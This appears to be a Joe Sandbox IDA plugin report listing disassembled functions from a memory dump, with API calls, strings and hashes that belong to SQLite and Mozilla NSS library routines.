Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: 7a6224f4a1bc071e3f1db9216f4b73469475eb43c11cb8076415a016d567179f
Instruction ID: fc979af41ff7d92d0a697cbfff14437179909134fb9157f4bbc31745cdb973e2
Opcode Fuzzy Hash: 7a6224f4a1bc071e3f1db9216f4b73469475eb43c11cb8076415a016d567179f
Instruction Fuzzy Hash: FF514C72B116494FC70CCDADDC527DAB7EAABA4310F48C23AE442DB781D638D906C751

Function 6CF00F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6CF01027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CF010B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF01353

Strings

$, xrefs: 6CF012A0
NULL, xrefs: 6CF0119E
zeroblob(%d), xrefs: 6CF01223
-- , xrefs: 6CF00FF5
%lld, xrefs: 6CF0114B
%02x, xrefs: 6CF012F6
'%.*q', xrefs: 6CF01217, 6CF01292

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: 5004ba713c638c0b2b25dff8904fabf3a31a00e6fae989eba1166b6f558e9b40
Instruction ID: 1a328bd93f6addf2827bc14f0f80ba5208a3fe04b591753538128011a68378b8
Opcode Fuzzy Hash: 5004ba713c638c0b2b25dff8904fabf3a31a00e6fae989eba1166b6f558e9b40
Instruction Fuzzy Hash: C8E1CE71A08340DFD714CF14C8A0AABBBF5AF86748F14892DE99587B21E771E845DB82

Function 6CF08FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF08FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF090DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF09118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF0915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF091C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF09209

Strings

3333, xrefs: 6CF0925E
UUUU, xrefs: 6CF09255

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: 05b7813e4dbc9955008f28fe76541462ba3972ed8f7d854e28624bd9aaa2daf8
Instruction ID: 0757a323ff7c24583aec3b032966a5522d44b94ae41c2556b55ea4324ba95772
Opcode Fuzzy Hash: 05b7813e4dbc9955008f28fe76541462ba3972ed8f7d854e28624bd9aaa2daf8
Instruction Fuzzy Hash: B3A19F72F001159BDB04CF68CC90BAEB7B5BF48728F094129E915A7791EB36ED11CBA1

Function 6CDC0FE0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6CDBCA30: EnterCriticalSection.KERNEL32(?,?,?,6CE1F9C9,?,6CE1F4DA,6CE1F9C9,?,?,6CDE369A), ref: 6CDBCA7A
Part of subcall function 6CDBCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CDBCB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6CDC103E
EnterCriticalSection.KERNEL32(?), ref: 6CDC1139
LeaveCriticalSection.KERNEL32(?), ref: 6CDC1190
sqlite3_free.NSS3(00000000), ref: 6CDC1227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6CDC126E
sqlite3_free.NSS3(?), ref: 6CDC127F

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 6CDC1267
winAccess, xrefs: 6CDC129B

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1873940834
Opcode ID: fe7dfa3581e389f7a4c34856087c3191b30bd70cbf0f88ea2541ff903ee462f8
Instruction ID: 4757158e2ff18bcd8ff34486fb7b47236f44db9558f58baa5ad15d6082b2e5d8
Opcode Fuzzy Hash: fe7dfa3581e389f7a4c34856087c3191b30bd70cbf0f88ea2541ff903ee462f8
Instruction Fuzzy Hash: 68711735B05221DBEF449F24DC85B6A7779EB87318F14062AE92187AA0DB34D805CA93

Function 6CDCAEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6CEECF46,?,6CDBCDBD,?,6CEEBF31,?,?,?,?,?,?,?), ref: 6CDCB039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CEECF46,?,6CDBCDBD,?,6CEEBF31), ref: 6CDCB090
sqlite3_free.NSS3(?,?,?,?,?,?,6CEECF46,?,6CDBCDBD,?,6CEEBF31), ref: 6CDCB0A2
CloseHandle.KERNEL32(?,?,6CEECF46,?,6CDBCDBD,?,6CEEBF31,?,?,?,?,?,?,?,?,?), ref: 6CDCB100
sqlite3_free.NSS3(?,?,00000002,?,6CEECF46,?,6CDBCDBD,?,6CEEBF31,?,?,?,?,?,?,?), ref: 6CDCB115
sqlite3_free.NSS3(?,?,?,?,?,?,6CEECF46,?,6CDBCDBD,?,6CEEBF31), ref: 6CDCB12D

Part of subcall function 6CDB9EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6CDCC6FD,?,?,?,?,6CE1F965,00000000), ref: 6CDB9F0E
Part of subcall function 6CDB9EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CE1F965,00000000), ref: 6CDB9F5D

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: 363d01c493492fed3089fd4e18544d0ab659471b3aeaa7770bd169a981dc17b9
Instruction ID: b826d2d3fd7eddfd90559ec3b785c4e36cd7084cabfdb8bce0303483c4e0e866
Opcode Fuzzy Hash: 363d01c493492fed3089fd4e18544d0ab659471b3aeaa7770bd169a981dc17b9
Instruction Fuzzy Hash: 73919FB0B04605CFDB54CF64C884B6AB7F9FF46308F14462DE45A97AA0EB31E855CB52

Function 6CE9BD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6CE9BD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6CE9BD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6CE9BD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6CE9BD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6CE9BDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6CE9BDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6CE9BDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6CE9BE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6CE9BE1E

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: 0aae64264b288aec41a3204dd7163dfa4bd959ad389075f6e70fe4c0eaf83b93
Instruction ID: 0607a3b52ce43773f15069353be4a36a62c1af4ad9e1b3359093bda9b7a72634
Opcode Fuzzy Hash: 0aae64264b288aec41a3204dd7163dfa4bd959ad389075f6e70fe4c0eaf83b93
Instruction Fuzzy Hash: 952182BAE0429D57FB2047569C47F8B32789BD274DF181128F916EE741E710941886A6

Function 6CF48D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CF914E4,6CEFCC70), ref: 6CF48D47
PR_GetCurrentThread.NSS3 ref: 6CF48D98

Part of subcall function 6CE20F00: PR_GetPageSize.NSS3(6CE20936,FFFFE8AE,?,6CDB16B7,00000000,?,6CE20936,00000000,?,6CDB204A), ref: 6CE20F1B
Part of subcall function 6CE20F00: PR_NewLogModule.NSS3(clock,6CE20936,FFFFE8AE,?,6CDB16B7,00000000,?,6CE20936,00000000,?,6CDB204A), ref: 6CE20F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6CF48E7B
htons.WSOCK32(?), ref: 6CF48EDB
PR_GetCurrentThread.NSS3 ref: 6CF48F99
PR_GetCurrentThread.NSS3 ref: 6CF4910A

Strings

%u.%u.%u.%u, xrefs: 6CF48E74

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 129067dcf9b7504d52e4b48dc92cd1fbedea3a8206c7bace1a81c4804857732f
Instruction ID: 6952a5cd8313c96460d9bd5bff1245adce02b696fa9c54e7e1342d334ce83fba
Opcode Fuzzy Hash: 129067dcf9b7504d52e4b48dc92cd1fbedea3a8206c7bace1a81c4804857732f
Instruction Fuzzy Hash: 3202AA32A052518FDB14CF19C4687AABFB6EF82304F1AC25EC8919BA93C735DA45C790

Function 6CDCEFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

not authorized, xrefs: 6CDCF957, 6CDCF9BA
table, xrefs: 6CDCF05C, 6CDCFABC, 6CDCFAC7
sqlite_master, xrefs: 6CDCF0AB, 6CDCF2DA, 6CDCF757, 6CDCF93E
authorizer malfunction, xrefs: 6CDCF95C, 6CDCF9BF, 6CDCFA5E, 6CDCFA8B
%s %T already exists, xrefs: 6CDCFAC8
view, xrefs: 6CDCF061, 6CDCF071, 6CDCFAB7
there is already an index named %s, xrefs: 6CDCF9D7
temporary table name must be unqualified, xrefs: 6CDCF734
sqlite_temp_master, xrefs: 6CDCF0A6, 6CDCF2D5

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: 312013fe72391ce9683675415b2f45e286afd37463fc3a26643b8302b234645e
Instruction ID: fcc1b0754a08d6fd52045ac70f0d4a3e6c78a2e5d51b77bb8f8d374cd2a3533b
Opcode Fuzzy Hash: 312013fe72391ce9683675415b2f45e286afd37463fc3a26643b8302b234645e
Instruction Fuzzy Hash: 7E72B070E04205CFDB14CF68C480BAABBF5BF49308F1581AED9549BB62D775E846CB91

Function 6CEE9C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6CDBC52B), ref: 6CEE9D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CEEA035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CEEA114

Strings

database corruption, xrefs: 6CEEA029, 6CEEA108
%s at line %d of [%.10s], xrefs: 6CEEA02E, 6CEEA10D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CEEA01F, 6CEEA0E4, 6CEEA0FE

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: 5756b373e7b72a2fb6cc504a6fcb9a0eed8bd6f22ff00bda8d0c12d670c1cfcb
Instruction ID: 727839be6e17908a4220af867879ee98b3985dc6ad19c24483e62b6d8c1c7f1c
Opcode Fuzzy Hash: 5756b373e7b72a2fb6cc504a6fcb9a0eed8bd6f22ff00bda8d0c12d670c1cfcb
Instruction Fuzzy Hash: AD22AD716483419FC704CF29C49066ABBF1BF8E388F248A2DE9DA97B51D735D846CB42

Function 6CF09D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6CDC8637,?,?), ref: 6CF09E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6CDC8637), ref: 6CF09ED6

Strings

database corruption, xrefs: 6CF09ECA
%s at line %d of [%.10s], xrefs: 6CF09ECF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF09EC0

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 2f13130c622978dcf32436bed5c406a35f03f288af0c62562a8f0e42b512ed82
Instruction ID: 464c18538170e24cbf6b1ec64b07442acecb1ed6e6bc126f4ead6711cce009c2
Opcode Fuzzy Hash: 2f13130c622978dcf32436bed5c406a35f03f288af0c62562a8f0e42b512ed82
Instruction Fuzzy Hash: 5481C531F012158FCB04CF6AC8A0ADEB7F6EF88704B148529E915AB751EB31EE45DB60

Function 6CF17F20 Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 713COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,?), ref: 6CF181BC

Strings

out of memory, xrefs: 6CF1835B
BINARY, xrefs: 6CF18126

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: memset
String ID: BINARY$out of memory
API String ID: 2221118986-3971123528
Opcode ID: 7243f716dc95419c45fb28caf73338900956182d147c02b812003a2abade6a0c
Instruction ID: fd88faa89aa10c3aa8c2ce711c94c44f86a237bad168a04fc9a143715f038a0a
Opcode Fuzzy Hash: 7243f716dc95419c45fb28caf73338900956182d147c02b812003a2abade6a0c
Instruction Fuzzy Hash: A552B471E09258CFDB14CF99C590B9EBBB1FF49318F26815ED815ABB51D730A846CB80

Function 6CE99EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CE99ED6

Part of subcall function 6CE914C0: TlsGetValue.KERNEL32 ref: 6CE914E0
Part of subcall function 6CE914C0: EnterCriticalSection.KERNEL32 ref: 6CE914F5
Part of subcall function 6CE914C0: PR_Unlock.NSS3 ref: 6CE9150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6CE99EE4

Part of subcall function 6CE910C0: TlsGetValue.KERNEL32(?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE910F3
Part of subcall function 6CE910C0: EnterCriticalSection.KERNEL32(?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE9110C
Part of subcall function 6CE910C0: PL_ArenaAllocate.NSS3(?,?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE91141
Part of subcall function 6CE910C0: PR_Unlock.NSS3(?,?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE91182
Part of subcall function 6CE910C0: TlsGetValue.KERNEL32(?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE9119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE99F38

Part of subcall function 6CE9D030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6CE99F0B), ref: 6CE9D03B
Part of subcall function 6CE9D030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CE9D04E
Part of subcall function 6CE9D030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6CE9D07B
Part of subcall function 6CE9D030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6CE9D08E
Part of subcall function 6CE9D030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE9D09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE99F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6CE99F59

Part of subcall function 6CE99D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6CE99C5B), ref: 6CE99D82
Part of subcall function 6CE99D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6CE99C5B), ref: 6CE99DA9
Part of subcall function 6CE99D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6CE99C5B), ref: 6CE99DCE
Part of subcall function 6CE99D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6CE99C5B), ref: 6CE99E43

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: 8a3e484bcc7856c0d32356155aebe00877bd48b86720452fdfcc014b9e205401
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: 37112BB5F042015FFB109A659C01BAFB3B8AF9439CF350138E80F8B740FB61E9598292

Function 6CF4CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF4D086
PR_Malloc.NSS3(00000001), ref: 6CF4D0B9
PR_Free.NSS3(?), ref: 6CF4D138

Strings

>, xrefs: 6CF4CF5B

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 22299fe3082da7991602d74845f2f0e6f0e75ffbd775a896d27eef4a68ddc4de
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 41D16A23B456464BFB14487CCCA13EA7F938782374F68C329D5619BBE7E61988478311

Function 6CEEAD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
